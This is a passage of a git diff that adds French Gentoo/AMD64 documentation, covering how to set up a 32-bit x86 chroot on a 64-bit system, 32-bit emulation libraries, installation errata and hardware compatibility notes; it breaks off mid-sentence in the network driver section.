+<pre caption="Télécharger un stage3 depuis un miroir Gentoo">
+$ <i>cd /home/user/downloads</i>
+$ <i>wget -c ftp://distfiles.gentoo.org/releases/x86/2006.1/stages/stage3-i686-2006.1.tar.bz2</i>
+</pre>
+
+<note>
+Notez que nous téléchargeons un stage3 pour x86, <e>pas</e> pour AMD64.
+</note>
+
+<p>
+Après le téléchargement du stage3, vous devez créer un nouveau répertoire pour
+construire votre nouveau chroot.
+</p>
+
+<pre caption="Créer un répertoire pour le chroot 32 bits">
+$ <i>su - root</i> <comment>(Entrez le mot de passe de root)</comment>
+# <i>cd /mnt</i>
+# <i>mkdir gentoo32</i>
+</pre>
+
+<p>
+Déplacez ensuite le stage que vous venez de télécharger, dépaquetez-le et
+installez le comme dans l'exemple suivant.
+</p>
+
+<pre caption="Installer à partir du stage3">
+# <i>cd /mnt/gentoo32</i>
+# <i>tar -xvjpf /home/user/downloads/stage3-i686-2006.1.tar.bz2</i>
+# <i>cp -L /etc/resolv.conf /mnt/gentoo32/etc/</i>
+# <i>cp -L /etc/passwd /mnt/gentoo32/etc/</i>
+</pre>
+
+<p>
+Votre chroot est prêt pour l'installation. Lisez le chapitre suivant pour
+apprendre comment l'installer.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installation</title>
+<section>
+<title>Installation de votre nouveau chroot 32 bits</title>
+<body>
+
+<p>
+Si tout s'est bien passé jusqu'à cette étape, vous êtes maintenant prêt à
+finaliser l'installation de ce chroot.
+</p>
+
+<p>
+La prochaine étape est l'installation de votre nouveau
+<path>/mnt/gentoo32/etc/make.conf</path>.
+</p>
+
+<pre caption="Configuration de votre make.conf">
+CFLAGS="-O2 -march=athlon-xp -msse2 -pipe -fomit-frame-pointer"
+CHOST="i686-pc-linux-gnu"
+CXXFLAGS="${CFLAGS}"
+MAKEOPTS="-j2"
+</pre>
+
+<p>
+À présent, montez les divers systèmes de fichiers factices.
+</p>
+
+<pre caption="Monter les systèmes de fichier virtuels">
+# <i>mount -o bind /dev /mnt/gentoo32/dev</i>
+# <i>mount -o bind /dev/pts /mnt/gentoo32/dev/pts</i>
+# <i>mount -o bind /dev/shm /mnt/gentoo32/dev/shm</i>
+# <i>mount -o bind /proc /mnt/gentoo32/proc</i>
+# <i>mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb</i>
+# <i>mount -o bind /sys /mnt/gentoo32/sys</i>
+</pre>
+
+<p>
+Vous avez maintenant un réel chroot 32 bits installé dans votre système 64 bits
+et il est presque prêt à être exploité. Dans la prochaine étape, vous devez
+créer un lien entre Portage, disponible sur votre système 64 bits, et votre
+chroot. De cette manière, vous n'aurez qu'une installation à mettre à jour
+plutôt que de dupliquer une grande quantité de données.
+</p>
+
+<pre caption="Lier Portage à /usr/portage à l'intérieur du chroot 32 bits">
+# <i>mkdir -p /mnt/gentoo32/usr/portage/</i>
+# <i>mount -o bind /usr/portage /mnt/gentoo32/usr/portage/</i>
+</pre>
+
+<note>
+Chaque fois que vous mettrez Portage à jour en faisant <c>emerge --sync</c>,
+vous mettrez également à jour votre chroot 32 bits.
+</note>
+
+<p>
+Si vous voulez exécuter des applications 32 bits qui utilisent X, vous devez
+également monter <path>/tmp</path>.
+</p>
+
+<pre caption="Monter /tmp pour les applications avec interface utilisateur graphique">
+# <i>mount -o bind /tmp /mnt/gentoo32/tmp</i>
+</pre>
+
+<p>
+Nous sommes maintenant prêt à basculer à l'intérieur du chroot.
+</p>
+
+<pre caption="Basculer dans le chroot">
+<comment>(Ne réalisez pas cette étape si setarch est déjà installé)</comment>
+# <i>emerge setarch</i>
+
+# <i>linux32 chroot /mnt/gentoo32 /bin/bash</i>
+<comment>(S'assurer que nous avons une installation i686)</comment>
+# <i>uname -m</i>
+i686
+</pre>
+
+<warn>
+L'utilitaire <c>linux32</c> est nécessaire pour modifier la valeur de CHOST. Si
+vous l'oubliez, vous ne pourrez rien compiler à l'intérieur de l'environnement
+chroot.
+</warn>
+
+<p>
+Nous avons maintenant un système chroot 32 bits prêt pour une mise à jour.
+Suivez les étapes suivantes pour la mise à jour.
+</p>
+
+<pre caption="Mise à jour de votre nouveau chroot 32 bits">
+# <i>source /etc/profile</i>
+# <i>env-update</i>
+# <i>emerge -au world</i>
+</pre>
+
+<p>
+Avec ça vous avez quasiment terminé l'installation de votre chroot 32 bits.
+Pour rendre les choses plus confortables, nous allons créer un nouveau fichier
+dans votre système 64 bits pour activer le 32 bits au démarrage.
+</p>
+
+<pre caption="Créer un nouveau fichier dans /etc/init.d">
+# <i>nano -w /etc/init.d/gentoo32</i>
+#!/sbin/runscript
+
+depend() {
+   need localmount
+   need bootmisc
+}
+
+start() {
+    ebegin "Montage des répertoires chroot 32 bits"
+    mount -o bind /dev /mnt/gentoo32/dev >/dev/null
+    mount -o bind /dev/pts /mnt/gentoo32/dev/pts >/dev/null &amp;
+    mount -o bind /dev/shm /mnt/gentoo32/dev/shm >/dev/null &amp;
+    mount -o bind /proc /mnt/gentoo32/proc >/dev/null
+    mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb >/dev/null &amp;
+    mount -o bind /sys /mnt/gentoo32/sys >/dev/null &amp;
+    mount -o bind /tmp /mnt/gentoo32/tmp >/dev/null &amp;
+    mount -o bind /usr/portage /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "Une erreur est survenue durant la tentative de montage des répertoires chroot 32 bits"
+    ebegin "Copie des fichiers chroot 32 bits"
+    cp -pf /etc/resolv.conf /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/passwd /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/shadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/group /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/gshadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/hosts /mnt/gentoo32/etc > /dev/null &amp;
+    cp -Ppf /etc/localtime /mnt/gentoo32/etc >/dev/null &amp;
+    eend $? "Une erreur est survenue durant la tentative de copie des fichiers chroot 32 bits"
+}
+
+stop() {
+    ebegin "Démontage des répertoires chroot 32 bits"
+    umount -f /mnt/gentoo32/dev/pts >/dev/null
+    umount -f /mnt/gentoo32/dev/shm >/dev/null
+    umount -f /mnt/gentoo32/dev >/dev/null &amp;
+    umount -f /mnt/gentoo32/proc/bus/usb >/dev/null
+    umount -f /mnt/gentoo32/proc >/dev/null &amp;
+    umount -f /mnt/gentoo32/sys >/dev/null &amp;
+    umount -f /mnt/gentoo32/tmp >/dev/null &amp;
+    umount -f /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "Une erreur est survenue durant la tentative de démontage des répertoires chroot 32 bits"
+}
+</pre>
+
+<p>
+Vous n'avez plus qu'à exécuter <c>rc-update add gentoo32 default</c> pour
+ajouter gentoo32 au niveau de démarrage «&nbsp;default&nbsp;».
+</p>
+
+<p>
+Chaque fois que vous voudrez basculer vers votre environnement chroot, vous
+n'aurez qu'à exécuter la commande suivante&nbsp;: <c>linux32 chroot
+/mnt/gentoo32 /bin/bash</c>. 
+</p>
+
+<p>
+Votre chroot 32 bits est maintenant prêt pour l'installation de nouvelles
+applications.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Applications</title>
+<section>
+<title>Installer de nouvelles applications dans votre chroot</title>
+<body>
+
+<p>
+Vous avez maintenant un chroot 32 bits complètement opérationnel et vous pouvez
+installez n'importe quelle application en mode 32 bits. Voyons comment vous
+pouvez installer de nouveaux paquets dans votre chroot 32 bits.
+</p>
+
+<pre caption="Installer foo dans votre chroot">
+# <i>linux32 chroot /mnt/gentoo32 /bin/bash</i>
+# <i>source /etc/profile</i>
+# <i>env-update</i>
+# <i>emerge foo</i>
+</pre>
+
+<note>
+N'oubliez pas de toujours faire un <c>source /etc/profile</c> et un
+<c>env-update</c> après avoir basculé dans votre chroot.
+</note>
+
+<p>
+Vous avez maintenant installé un nouveau paquet dans votre chroot 32 bits. Si
+vous voulez l'exécuter, vous devez être dans votre chroot. Si vous voulez
+exécuter des applications X, la meilleure solution est d'utiliser l'astuce
+<c>xhost</c>. Chaque fois que vous devez exécuter une application X, exécutez
+cette commande dans votre environnement 64 bits.
+</p>
+
+<pre caption="Astuce Xhost">
+# <i>xhost local:localhost</i>
+</pre>
+
+<p>
+Ensuite, basculez à nouveau dans votre environnement chroot et vous devriez
+être capable d'exécuter toute application X construite à l'intérieur de votre
+chroot 32 bits.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Conclusion</title>
+<section>
+<body>
+
+<p>
+Avec ce chroot, vous pouvez installer un bon nombre de paquets uniquement
+disponibles pour les architectures x86. Quelques paquets, tel que
+<c>OpenOffice</c>, peuvent être installés en utilisant les binaires disponibles
+pour Gentoo/AMD64. Certains des codecs disponibles pour <c>MPlayer</c>
+nécessitent ce chroot 32 bits. Vous pourrez donc installer les
+<c>win32codecs</c> avec ce chroot.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/base/amd64/install-32bit.xml b/xml/htdocs/proj/fr/base/amd64/install-32bit.xml
new file mode 100644
index 00000000..7a8e42c1
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/install-32bit.xml
@@ -0,0 +1,178 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/install-32bit.xml,v 1.1 2005/01/22 16:00:33 cam Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+<title>Lancer des programmes 32&nbsp;bits</title>
+<body>
+
+<impo>
+VOUS DEVEZ AVOIR ACTIVÉ L'ÉMULATION IA32 («&nbsp;IA32 Emulation&nbsp;») DANS LA
+SECTION «&nbsp;Executable File Formats&nbsp;» DE VOTRE NOYAU&nbsp;!
+</impo>
+
+<p>
+De nombreux changements sont en cours actuellement et le meilleur moyen de
+mettre en place un environnement 32&nbsp;bits est d'installer les bibliothèques
+d'émulation.
+</p>
+
+<pre>
+# <i>emerge app-emulation/emul-linux-x86-baselibs</i>
+# <i>emerge app-emulation/emul-linux-x86-xlibs</i>
+# <i>emerge app-emulation/emul-linux-x86-gtklibs</i>
+# <i>emerge app-emulation/emul-linux-x86-qtlibs</i>
+</pre>
+
+<p>
+L'installation va créer un répertoire <path>/emul/linux/x86</path> et y
+installer la plupart des bibliothèques dont vous devriez avoir besoin pour
+lancer des applications précompilées 32&nbsp;bits. Des liens symboliques seront
+également créés, comme <path>/lib32</path> et <path>/usr/lib32</path>, qui
+pointeront vers les bons répertoires dans <path>/emul</path>. Enfin, un lien
+symbolique de <path>/lib/ld-linux.so.2</path> vers
+<path>/emul/linux/x86/lib/ld-linux.so.2</path> sera créé, puisque la variante
+64&nbsp;bits s'appelle, elle, <path>ld-linux-x86-64.so.2</path>.
+</p>
+
+<p>
+Une fois ces trois paquets installés, vous devriez pouvoir lancer la plupart des
+applications 32&nbsp;bits précompilées (comme, par exemple, Java, Oracle 9i ou
+Opera).
+</p>
+
+</body>
+</section>
+<section>
+<title>Compiler des applications 32&nbsp;bits dans un environnement 64&nbsp;bits
+(en utilisant multilib)</title>
+<body>
+
+<p>
+Vous devez tout d'abord disposer d'un environnement 32&nbsp;bits en état de
+fonctionnement, comme nous l'avons décrit dans la section précédente. Ensuite,
+vous devez ajouter <c>multilib</c> dans vos paramètres USE dans
+<path>/etc/make.conf</path> et installer (ou réinstaller)
+<path>gcc-3.3.3-r5</path>. Cela construira GCC avec le support multilib, qui
+vous permettra de créer des binaires 32&nbsp;bits en utilisant le paramètre
+CFLAGS <c>-m32</c>. Les compilations 64&nbsp;bits ne sont pas affectées par le
+support de multilib. (Vous pouvez néanmoins, si vous voulez être sûr de vous,
+pour une raison quelconque, utiliser <c>-m64</c>.)
+</p>
+
+<note>
+Nous recommandons fortement à nos utilisateurs de <e>ne jamais ajouter</e>
+<c>-m32</c> dans leur <path>/etc/make.conf</path> et de ne pas utiliser
+<c>-m32</c> avec Portage. Nous recommandons de ne faire des compilations
+32&nbsp;bits qu'à la main et non en utilisant le système de Portage. Ne pas
+tenir compte de cette remarque pourrait fortement endommager la structure de
+dépendances de Portage. Ne nous demandez pas de corriger cela, ce sera votre
+faute si cela ne fonctionne plus.
+</note>
+
+</body>
+</section>
+<section>
+<title>Créer un environnement 32&nbsp;bits chrooté</title>
+<body>
+
+<p>
+Grâce à l'installation des bibliothèques d'émulation 32&nbsp;bits, il est
+possible de lancer la plupart des applications 32&nbsp;bits dans un
+environnement 64&nbsp;bits. Cependant, il n'est pas facile de compiler de
+nouvelles applications ou d'installer des nouvelles bibliothèques 32&nbsp;bits.
+Cela peut rendre difficile l'utilisation d'applications comme Wine ou le
+plugin Netscape Flash pour Mozilla. Une installation 32&nbsp;bits chrootée
+vous permettra d'utiliser votre gestionnaire de paquets favori pour
+installer des applications et des bibliothèques 32&nbsp;bits. Cela signifie
+également que vous pouvez alors optimiser les paquets comme vous l'entendez. Les
+bibliothèques d'émulation sont compilées avec seulement quelques optimisations
+mineures parce qu'elles sont également utilisées sur la plate-forme IA64. Un
+contre-coup majeur est l'espace disque utilisé. Toutes les applications et les
+bibliothèques seront installées en double.
+</p>
+
+<p>
+Pour mettre en place un environnement 32&nbsp;bits chrooté, vous devez tout
+d'abord créer un répertoire (ou une partition) dans laquelle vous placerez votre
+chroot. Ensuite, décompressez-y l'archive d'installation pour x86 (n'utilisez
+pas l'archive pour AMD64) et montez-y <path>/proc</path>. Ensuite, vous devez
+entrer dans le chroot. Cela se fait de la même manière que dans le manuel, sauf
+que vous devrez utiliser le programme «&nbsp;linux32&nbsp;» pour changer
+«&nbsp;uname -m&nbsp;» en «&nbsp;i686&nbsp;». Lancez donc cette commande&nbsp;:
+</p>
+
+<pre>
+# <i>linux32 chroot /mnt/gentoo32 /bin/bash</i>
+</pre>
+
+<p>
+Vous êtes désormais dans le chroot et «&nbsp;uname -m&nbsp;» devrait vous donner
+la valeur «&nbsp;i686&nbsp;». Dans le fichier <path>make.conf</path>, vous
+pouvez utiliser, par exemple, ces paramètres&nbsp;:
+</p>
+
+<pre>
+CHOST="i686-pc-linux-gnu"
+CFLAGS="-O2 -march=athlon-xp -msse2 -msse -pipe"
+ACCEPT_KEYWORDS="~x86"
+</pre>
+
+<p>
+Une fois que gcc-3.4 sera installé, vous devriez pouvoir utiliser le paramètre
+-march=k8 pour utiliser les optimisations pour AMD64, mais il n'est pas spécifié
+dans le ChangeLog si ce paramètre est disponible également pour les compilations
+32&nbsp;bits.
+</p>
+
+<p>
+Continuez l'installation comme indiquée dans le manuel. Vous pouvez sauter la
+plupart des étapes après le stage3. Vous n'avez pas besoin de mettre en place un
+second noyau, un second système de journalisation ou d'événements. Mais vous
+devrez mettre en place les utilisateurs et les fichiers hosts et resolv.conf.
+Votre chroot 32&nbsp;bits sera alors prêt à l'emploi. Cela dit, vous ne pourrez
+pas utiliser de manière correcte les applications reposant sur le serveur X pour
+le moment.
+</p>
+
+<p>
+Les applications clientes du serveur X utilisent des sockets Unix pour
+communiquer avec le serveur X. Ces sockets sont des fichiers présents dans /tmp,
+mais le serveur X fonctionne en dehors du chroot. Cela signifie que les
+applications clientes dans le chroot ne peuvent pas accéder aux sockets Unix. Il
+y a deux moyens de contourner ce problème. Vous pouvez utiliser un socket TCP,
+mais ça ne donnera pas un résultat convenable niveau vitesse d'exécution. La
+meilleure solution est de monter /tmp dans le chroot. Cela peut se faire ainsi
+(à faire en dehors du chroot)&nbsp;:
+</p>
+
+<pre>
+# <i>mount -o bind /tmp /mnt/gentoo32/tmp</i>
+</pre>
+
+<p>
+Évidemment, vous devrez lancer <c>xhost local:localhost</c> avant de pouvoir
+vous connecter au serveur X à l'intérieur du chroot. Il est également possible
+de monter plus de répertoires de la même manière, pour économiser l'espace
+disque. De bons candidats seraient <path>/home</path>,
+<path>/usr/portage/distfiles</path> et <path>/usr/share</path>.
+</p>
+
+<p>
+Pour rentrer dans le chroot, utilisez la commande suivante pour mettre en place
+les variables d'environnement correctement&nbsp;:
+</p>
+
+<pre>
+# <i>linux32 chroot /mnt/gentoo32 /bin/bash --login</i>
+</pre>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/install-errata.xml b/xml/htdocs/proj/fr/base/amd64/install-errata.xml
new file mode 100644
index 00000000..c76859ea
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/install-errata.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/install-errata.xml,v 1.2 2005/02/01 13:54:31 neysx Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+<title>Errata important pour l'installation de Gentoo/AMD64</title>
+<body>
+
+<ul>
+  <li>
+    Les pilotes 64 bits pour les cartes vidéo ATI sont disponibles en
+    installant le paquet <c>ati-drivers</c>.
+  </li>
+  <li>Le système de fichiers reiser4 ne fonctionne pas sur AMD64.</li>
+  <li>Le noyau 2.4.x est officiellement désuet sur Gentoo/AMD64.</li>
+  <li>
+    gcc 3.3 est officiellement désuet dans la version 2004.3 pour les AMD64
+    seulement.
+  </li>
+  <li>
+    <path>sys-kernel/gentoo-dev-sources</path> sont les seules sources de noyau
+    supportées sur Gentoo/AMD64.
+  </li>
+  <li>
+    Le support du Firewire ne fonctionnera pas si vous activez le noyau
+    préemptif sur les noyaux récents (>=2.6.4).
+  </li>
+  <li>
+    Un double environnement 32&nbsp;bits/64&nbsp;bits est possible, avec
+    quelques limitations.
+  </li>
+  <li>
+    N'ajoutez <b>JAMAIS</b> <c>x86</c> ou <c>~x86</c> à la variable
+    <c>ACCEPT_KEYWORDS</c>.
+  </li>
+  <li>
+    N'utilisez <b>JAMAIS</b> <c>-Os</c> dans vos paramètres CFLAGS sur une
+    plateforme AMD64.
+  </li>
+  <li>
+    Ajoutez en paramètre au noyau <c>idle=poll</c> au démarrage, si vous
+    avez des «&nbsp;kernel panic&nbsp;».
+  </li>
+  <li>
+    Les cartes SCSI MPT Fusion nécessitent de passer le paramètre
+    <c>iommu=merge</c> au noyau lors du démarrage pour fonctionner.
+  </li>
+  <li>
+    Vous devez avoir activé l'<c>émulation IA32</c> (IA32 Emulation) dans les
+    formats de fichiers exécutables (<path>Executable File Formats </path>) à la
+    compilation de votre noyau pour pouvoir faire fonctionner l'émulation
+    32&nbsp;bits (et le chroot 32&nbsp;bits).
+  </li>
+  <li>
+    OpenOffice doit être installé à partir des binaires
+    (<path>openoffice-bin</path>). Aucune version 64&nbsp;bits n'est
+    actuellement disponible.
+  </li>
+  <li>
+    Le LiveCD ne détecte pas automatiquement les cartes réseau 3Com 3c940. Vous
+    devez l'activer manuellement en faisant un <c>modprobe sk98lin</c>.
+  </li>
+</ul>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/install-hardware.xml b/xml/htdocs/proj/fr/base/amd64/install-hardware.xml
new file mode 100644
index 00000000..1245d032
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/install-hardware.xml
@@ -0,0 +1,306 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/install-hardware.xml,v 1.2 2005/02/01 13:54:31 neysx Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<section>
+<title>Mises à jour du BIOS</title>
+<body>
+
+<p>
+Plusieurs constructeurs de cartes mères pour AMD64 sont connus pour fournir des
+BIOS qui comportent de nombreux bogues. Assurez-vous de bien avoir fait une mise
+à jour de votre BIOS vers la dernière version disponible avant d'essayer
+d'installer Gentoo/AMD64. Vous pourrez résoudre certains problèmes en mettant à
+jour votre BIOS, notamment ceux qui concernent les réglages de la mémoire. De
+plus, vous pourrez bénéficier de nouvelles fonctionnalités pour AMD64 (comme le
+Cool'n'Quiet).
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Contrôleurs RAID SATA/PATA</title>
+<subsection>
+<title>Contrôleurs, types et statuts</title>
+<body>
+
+<p>
+Voici une liste des statuts des contrôleurs RAID SATA/PATA communs&nbsp;:
+</p>
+
+<table>
+ <tr>
+  <th>Constructeur</th>
+  <th>Modèle</th>
+  <th>Type de RAID</th>
+  <th>Statut</th>
+ </tr>
+ <tr>
+  <ti>VIA</ti>
+  <ti>8237</ti>
+  <ti>Logiciel</ti>
+  <ti>Fonctionne</ti>
+ </tr>
+ <tr>
+  <ti>Promise</ti>
+  <ti>PDC202xx/PDC203xx</ti>
+  <ti>Logiciel</ti>
+  <ti>Fonctionne</ti>
+ </tr>
+ <tr>
+  <ti>Silicon Image</ti>
+  <ti>3112[a], 3512 et 3114</ti>
+  <ti>Logiciel</ti>
+  <ti>Fonctionne</ti>
+ </tr>
+ <tr>
+  <ti>Promise</ti>
+  <ti>SX4000 (PDC20621)</ti>
+  <ti>Matériel</ti>
+  <ti>Fonctionne</ti>
+ </tr>
+ <tr>
+  <ti>3Ware</ti>
+  <ti>Escalade 7xxx et 8xxx</ti>
+  <ti>Matériel</ti>
+  <ti>Fonctionne</ti>
+ </tr>
+</table>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Différences entre le RAID matériel et logiciel</title>
+<body>
+
+<p>
+Un contrôleur RAID matériel est toujours sur une carte supplémentaire à
+installer&nbsp;; il n'est jamais présent sur une carte mère. Il possède son
+propre BIOS, auquel vous pouvez accéder avant de démarrer votre système
+d'exploitation, et supporte, en général, au minimum, les types 0, 1,
+1&nbsp;+&nbsp;0 et 5. Le contrôleur RAID matériel possède un CPU dédié qui
+s'occupe de tous les calculs et des entrées/sorties qui concernent le
+RAID&nbsp;; il se signale au système d'exploitation tel que vous le configurez,
+c'est-à-dire que si vous configurez un simple RAID 5 sur trois disques, vous ne
+verrez sur votre système qu'un seul gros disque. Un RAID matériel sera toujours
+plus rapide qu'un RAID logiciel et consomme BEAUCOUP MOINS de temps processeur.
+Un contrôleur RAID matériel peut optionnellement être accompagné d'emplacements
+DIMM pour la mémoire cache et disposer d'une batterie de sauvegarde pour cette
+mémoire. Le RAID matériel limite également la complexité du pilote d'accès, dans
+la mesure où la fonctionnalité du RAID est effectuée exclusivement par le
+matériel.
+</p>
+
+<p>
+Un contrôleur RAID logiciel peut se trouver sur des cartes additionnelles ou
+encore sur certaines cartes mères. Un contrôleur logiciel peut ou non avoir un
+BIOS, mais, en fait, les fonctions propres au RAID sont implémentées par le
+pilote dans le système d'exploitation. Pour cette raison, vous ne trouverez
+JAMAIS de contrôleur RAID logiciel qui puisse supporter du RAID 5 sur lequel on
+puisse démarrer. Le système d'exploitation pourra voir chaque disque comme un
+disque normal qui ne sera pas masqué, ni transformé d'aucune manière par le
+contrôleur. Sur les noyaux 2.4, il y avait un module qui savait lire un bon
+nombre de BIOS de contrôleurs SATA. Ainsi, on pouvait mettre en place le RAID
+logiciel sous Linux comme spécifié par le BIOS et créer un pseudo périphérique
+qui était accessible exactement comme le serait un périphérique RAID matériel.
+Ce module «&nbsp;ataraid&nbsp;» n'a pas été porté sur les noyaux 2.6 et la
+version 2.4 ne supporte pas les contrôleurs SATA, mais seulement des vieux
+contrôleurs RAID logiciel PATA. En plus clair, un contrôleur RAID logiciel n'est
+rien d'autre qu'un contrôleur SATA/PATA standard avec éventuellement un BIOS qui
+stocke les informations de configuration. C'est pour cela qu'ils sont très peu
+chers à la fabrication et qu'on les trouve sur tant de cartes mères.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Compatibilité des cartes Riser avec les cartes mères Tyan et les cartes
+3ware</title>
+<body>
+
+<p>
+Pour plus d'information sur la compatibilité des cartes Riser avec les cartes
+3ware et les cartes mères Tyan, merci de vous reporter à cet <uri
+link="http://www.3ware.com/KB/article.aspx?id=10964">article de la base de
+connaissances 3ware</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Questions d'ordre général sur les Opteron/Athlon64</title>
+<subsection>
+<title>Quelle est la différence entre un Athlon64, un Athlon64FX et un
+Opteron&nbsp;?</title>
+<body>
+
+<p>
+Un Athlon64 est un processeur pour ordinateurs de bureau qui possède 754 pattes
+et un seul canal de bus mémoire et qui ne peut être utilisé qu'en mode
+monoprocesseur. Un Athlon64FX est un processeur conçu pour les stations de
+travail qui possède 940 pattes et un double canal de bus mémoire&nbsp;: il ne
+peut également être utilisé qu'en mode monoprocesseur. Un Opteron est un
+processeur pour serveurs qui possède 940 pattes et un double canal de bus
+mémoire. L'Opteron est présenté sous trois formes&nbsp;: les séries 1xx pour des
+systèmes monoprocesseur, les 2xx pour des systèmes biprocesseurs  et les séries
+8xx pour des systèmes qui vont jusqu'à huit processeurs (ou plus si on dispose
+d'un contrôleur intermédiaire). Ces variantes n'indiquent pas de différence dans
+la vitesse et reflètent généralement seulement le nombre de bus d'hypertransport
+actifs sur la puce. Toutes les puces ont les mêmes caractéristiques en termes de
+performances (mises à part les capacités de bus mémoire et la taille du cache
+qui peut avoir un effet sur les performances) et un Ahtlon64FX n'est rien
+d'autre qu'un Opteron de série 1xx. Dans le futur, le support à 754 pattes sera
+remplacé par des supports à 939 pattes, qui seront alors utilisés pour les
+Athlon64 et Athlon64FX.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Pourquoi les Athlon64 3200+ et Athlon64 3000+ sont cadencés à la même
+vitesse CPU&nbsp;?</title>
+<body>
+
+<p>
+L'Athlon64 3000+ a moitié moins de cache (512K) que l'Athlon64 3200+
+(1Mo). Cela rentre en compte dans la réduction de la fréquence (cette
+différence de performance est en pratique de l'ordre de moins de 5%).
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Les applications 32&nbsp;bits sont-elles supportées&nbsp;? Est-ce natif
+ou émulé&nbsp;?</title>
+<body>
+
+<p>
+Oui, les applications 32&nbsp;bits sont complètement supportées par le
+processeur et sont exécutées de manière native. Un système d'exploitation
+standard pour plate-forme x86 peut être installé sur une machine qui possède un
+processeur AMD64 et un système d'exploitation 64&nbsp;bits peut exécuter des
+applications 32&nbsp;bits s'il est capable d'établir une correspondance entre
+les appels systèmes 32&nbsp;bits et les interfaces 64&nbsp;bits du noyau (comme
+Linux peut le faire si vous l'activez dans le noyau). Pour plus d'information,
+merci de lire la section ci-dessous qui concerne le support du 32&nbsp;bits.
+Remarquez aussi qu'il n'y a aucune pénalité, en termes de performances, dans le
+fait de lancer des applications 32&nbsp;bits sur un processeur de type AMD64 et
+la vitesse d'exécution sera toujours supérieure à celle obtenue sur un AthlonXP
+qui utilise du code 32&nbsp;bits (ce qui n'est pas le cas des processeurs IA64
+Itanium&nbsp;!).
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Contrôleurs SCSI MPT Fusion</title>
+<body>
+
+<p>
+Pour faire fonctionner un contrôleur SCSI, vous devrez passer l'option suivante
+au noyau au moment du démarrage&nbsp;:
+</p>
+
+<pre>
+iommu=merge
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Support de l'accélération vidéo 3D</title>
+<subsection>
+<title>Cartes ATI Radeon</title>
+<body>
+
+<p>
+ATI a finalement sorti des pilotes 64&nbsp;bits pour les cartes Radeon
+supérieures à 9200. Utilisez la commande <c>ACCEPT_KEYWORDS="~amd64" emerge
+ati-drivers</c> pour les installer. Si les pilotes propriétaires ne
+fonctionnent pas, nous vous suggérons alors d'essayer le pilote libre "radeon"
+inclus avec xorg. Cela dit, ce pilote n'inclura que le support de
+l'accélération 2D.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>nVidia GeForce</title>
+<body>
+
+<p>
+nVidia a sorti des pilotes pour AMD64. Gentoo dispose d'ebuilds pour ceux-ci.
+Pour installer le support nvidia, il vous suffit de faire&nbsp;:
+</p>
+
+<pre>
+# <i>emerge nvidia-kernel</i>
+# <i>emerge nvidia-glx</i>
+# <i>emerge nvidia-settings</i>
+</pre>
+
+<impo>
+Nous vous conseillons d'utiliser un noyau 2.6.7 ou supérieur, dans la mesure où
+il apparaît qu'il résout des problèmes de redémarrage/blocage spontanés que
+certains utilisateurs ont pu observer.
+</impo>
+
+<p>
+Une fois l'installation finie, activez le support nVidia dans
+<path>/etc/X11/XF86Config</path> comme indiqué dans la documentation fournie
+par nVidia.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Les cartes Matrox</title>
+<body>
+
+<p>
+Plusieurs cartes vidéo Matrox nécessitent le module propriétaire
+«&nbsp;mga_hal&nbsp;» pour activer le support du double-tête (dual-head) ou les
+possibilités d'acquisition vidéo. Ce sont les G400 et supérieurs qui sont
+concernées. Cela signifie que, dans notre cas, même si la carte fonctionne, vous
+ne pourrez pas utiliser les fonctionnalités étendues.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Pilotes réseau bcm/tigon3</title>
+<body>
+
+<p>
+Plusieurs cartes mères pour Opteron fournissent une puce Broadcom qui gère
+l'interface réseau. Pour supporter cette carte, nous proposons le pilote
+standard du noyau «&nbsp;tg3&nbsp;», mais aussi le pilote «&nbsp;bcm5700&nbsp;».
+Le pilote «&nbsp;tg3&nbsp;» devrait être utilisé dans la mesure du possible,
